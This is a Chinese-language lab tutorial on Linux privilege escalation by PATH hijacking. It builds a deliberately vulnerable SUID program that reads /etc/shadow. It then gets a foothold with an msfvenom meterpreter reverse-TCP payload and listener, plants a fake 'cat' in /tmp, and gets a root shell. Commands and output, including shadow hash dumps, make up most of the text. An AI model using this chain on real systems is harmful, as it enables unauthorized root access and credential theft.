环境变量劫持提权

提权原理

PATH是Linux和类Unix操作系统中的环境变量，类似windows中的path环境变量，当我们执行一个命令的时候shell会先检查命令是否是系统内部命令，如果不是则会再去检查此命令是否是一个应用程序，shell会试着从PATH中逐步查找命令，查看环境变量命令如下：

```
echo $PATH    #查看环境变量
```

```
[root@localhost log]# echo $PATH
/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:/home/hack/.local/bin:/home/hack/bin
```

如果我们可以在环境变量中写入自己的环境变量，然后写一个自己的恶意命令，从而达到提权的目的

提权环境

当前的环境是ubuntu 16，centos7测试不成功

假设管理员用户在/home目录下创建了一个demo.c文件，内容如下，执行查看shadow文件命令，setuid 规定了其运行用户，以root权限进行编译和权限设置

```
#include<unistd.h>
void main() {
setuid(0);
setgid(0);
system("cat /etc/shadow");
}
```

然后使用gcc进行编译

```
gcc demo.c -o shell
```

运行 shell 命令就是打开shadow文件

```
[root@localhost home]# ./shell
root:$6$LwlZWlnJgf52wOtH$qvGJtjfQlKoHyEy2Igc1BWb7TSZMDk/IMIHRpZwo6rRH3snVhTlRSR9N1dUWbEt6ZJO/s41awk
v1GylQjZ7k2/::0:99999:7:::
bin:*:17632:0:99999:7:::
daemon:*:17632:0:99999:7:::
adm:*:17632:0:99999:7:::
lp:*:17632:0:99999:7:::
sync:*:17632:0:99999:7:::
shutdown:*:17632:0:99999:7:::
```

赋予shell文件SUID权限`chmod u+s shell`

```
root@daoer:/home# ls -al shell
-rwsr-xr-x 1 root root 16784 2月   8 16:29 shell
```

接下来就可以进行提权了

提权实验

首先上线机器

```
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.41.211 LPORT=8888 -f
elf > mshell.elf

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.41.211
set lport 8888
run
```

```
meterpreter > getuid
Server username: daoer
```

接下来用命令查找SUID文件，发现一个shell文件被配置了SUID

```
find / -user root -perm -4000 -print 2>/dev/null
```

```
meterpreter > shell
Process 3994 created.
Channel 1 created.
find / -user root -perm -4000 -print 2>/dev/null
/home/shell
/snap/snapd/17950/usr/lib/snapd/snap-confine
/snap/snapd/17883/usr/lib/snapd/snap-confine
/snap/core20/1822/usr/bin/chfn
```

运行shell文件，发现是查看/etc/shadow的命令

```
/home/shell
root:$6$4QrY1b7drrlwBBkU$sUcIa.NhZLuYC1WwflNA1tFOIAq5mZ//zggbP7c3z7gh4PRyr8I3i
gfJjMZNUrk95Bc/:19079:0:99999:7:::
daemon:*:19046:0:99999:7:::
bin:*:19046:0:99999:7:::
sys:*:19046:0:99999:7:::
sync:*:19046:0:99999:7:::
games:*:19046:0:99999:7:::
man:*:19046:0:99999:7:::
```

那么我们劫持cat命令，达到提权的目的

```
echo "/bin/bash" > /tmp/cat
chmod 777 cat
ls -al cat
echo $PATH
export PATH=/tmp:$PATH
cd /home/shell
whoami
```

```
echo "/bin/bash" > /tmp/cat
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/
/bin:/system/sbin:/system/xbin
export PATH=/tmp:$PATH
/home/shell
whoami
root
```